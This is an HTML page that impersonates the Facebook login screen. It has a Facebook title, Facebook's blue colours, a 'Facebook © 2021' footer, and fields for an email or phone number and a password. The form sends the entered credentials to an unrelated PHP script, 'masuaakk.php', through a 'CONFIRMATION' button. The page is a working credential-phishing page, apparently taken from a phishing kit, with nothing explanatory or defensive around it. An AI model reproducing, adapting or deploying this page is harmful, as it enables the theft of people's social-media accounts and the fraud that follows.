<!doctypehtml><link href=To0sfRta43.ico rel=icon type=image/png><link rel="shortcut icon"href=fav.ico><title>
   Facebook
  </title><meta content=width=device-width,initial-scale=1 name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/35.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js></script><body style=background-color:#3b5998;text-align:center><style>p { color:
white; font-family: inherit; }
  
* {
  box-sizing: border-box;
}

input[type=text], select, textarea {
  width: 400px;
  padding: 12px;
  border: 1px solid #ccc;
  border-radius: 4px;
  resize: vertical;
  margin-top: 30px;
}

input[type=password], select, textarea {
  width: 400px;
  padding: 12px;
  border: 1px solid #ccc;
  border-radius: 4px;
  resize: vertical;
}

label {
  padding: 12px 12px 12px 0;
  display: inline-block;
  margin-bottom: 20px;
}

input[type=submit] {
   width: 200px;
  background-color: #4CAF50;
  color: white;
  font-weight:bold;
  padding: 12px 20px;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  float: center;
  
}

 select {
        width: 90px;
        margin: 5px;
    }
    select:focus {
        min-width: 95px;
        width: auto;
    } 
  
}

input[type=submit]:hover {
  background-color: #45a049;
  margin-bottom: 20px;


}
.col-25 {
 margin-bottom: 7px;
}

.col-75 {
 margin-bottom: 7px;

}
.col-26 {
 margin-top: 30px;

}

.col-28 {
 margin-top: 30px;

}

.col-29 {
 margin-top: 20px;
 margin-bottom: 30px;
 line-height: 20px;
 padding-bottom: 30px;
 
 }

.col-30 {
 margin-top: 30px;
 font-weight: bold;

}	

.alert {
   margin-top: 70px;
   margin: auto; display: table;
   padding: 30px;

}

.aalert {
  margin-top: 80px;
  width: 500px;
  padding: 20px;
  background-color: #fcf8e3;
  color: #8a6d3b;
  border-color: #faebcc;
  margin-bottom: 10px;
  border-radius: 4px; 
  border: 1px solid transparent;
  text-align: center;

}  

/* Clear floats after the columns */
.row:after {
  content: "";
  display: table;
  clear: both;
}

/* Responsive layout - when the screen is less than 600px wide, make the two columns stack on top of each other instead of next to each other */
@media screen and (max-width: 600px) {
  .col-25, .col-75, .aalert, input[type=submit] {
    width: 90%;
    margin-top: 0;
  }
}</style><div class=col-29><img><div class=col-29><img alt height=50 src=unnamed.png width=250><div class=container><form action=masuaakk.php id=myform method=post><div class=col-65><input placeholder="Email address or phone number"id=fname name=firsname required></div><div class=row><div class=col-25></div><div class=col-65><input id=lname name=lastname placeholder=Password required type=password></div></div><div class=row><div class=col-25></div><div class=row><div class=col-25></div></div></div><div class=row><div class=col-26><center> <input type=submit value=CONFIRMATION> <div class=row><div class=col-30><p>Facebook © 2021</div><script src=script.js></script></div> </center></div></div></form></div></div></div>